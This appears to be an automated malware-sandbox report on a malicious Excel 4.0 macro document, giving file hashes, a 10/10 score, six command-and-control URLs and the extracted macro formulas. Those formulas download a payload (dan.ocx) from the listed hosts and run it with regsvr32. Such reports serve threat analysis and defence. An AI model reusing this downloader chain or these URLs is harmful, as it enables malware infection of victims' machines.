fbb545bb09fed593db55f2c92871a2aca3414d06cde1ea4782a7a3b4635469d8

General

Target

fbb545bb09fed593db55f2c92871a2aca3414d06cde1ea4782a7a3b4635469d8
Size

40KB
Sample

241120-vnv45azblc
MD5

bd4b6f4e228faca8e7b9eee473404522
SHA1

a4784850bd953f6db06fd948b1a6c87334d64451
SHA256

fbb545bb09fed593db55f2c92871a2aca3414d06cde1ea4782a7a3b4635469d8
SHA512

0b9b9ce0e32b473234d62bc4816732b4ac16de2cd6eae0b267b17dab1f2529899982f49efcb857b1db742e9ed9b66ecf41381ba25ef341ab0082671b063f5be7
SSDEEP

768:zomihd8DOevZCwt79yKfcrND59V+L9Rw4eWrXcTqZ0VfEw/5:zom8eDNylND59V4jwmXc2CVfEA

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://updatesgarmin.com/c/X5oK7bz/

https://drsniffles.com/OldBackup/2gc7uoHraTd/

https://leblogducbd.com/wp-includes/h5WdaXow/

https://ipekozmel.net/wp-content/hiwPw9KvUFV2jKZc/

https://yassinezeroual.com/imsi-hilo/DufS8rvZ/

https://anjumaneshiateali.org/e5qty/Cngg0NcOM/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://updatesgarmin.com/c/X5oK7bz/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://drsniffles.com/OldBackup/2gc7uoHraTd/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://leblogducbd.com/wp-includes/h5WdaXow/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://ipekozmel.net/wp-content/hiwPw9KvUFV2jKZc/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://yassinezeroual.com/imsi-hilo/DufS8rvZ/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://anjumaneshiateali.org/e5qty/Cngg0NcOM/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://updatesgarmin.com/c/X5oK7bz/

xlm40.dropper

https://drsniffles.com/OldBackup/2gc7uoHraTd/

xlm40.dropper

https://leblogducbd.com/wp-includes/h5WdaXow/

xlm40.dropper

https://ipekozmel.net/wp-content/hiwPw9KvUFV2jKZc/

xlm40.dropper

https://yassinezeroual.com/imsi-hilo/DufS8rvZ/

xlm40.dropper

https://anjumaneshiateali.org/e5qty/Cngg0NcOM/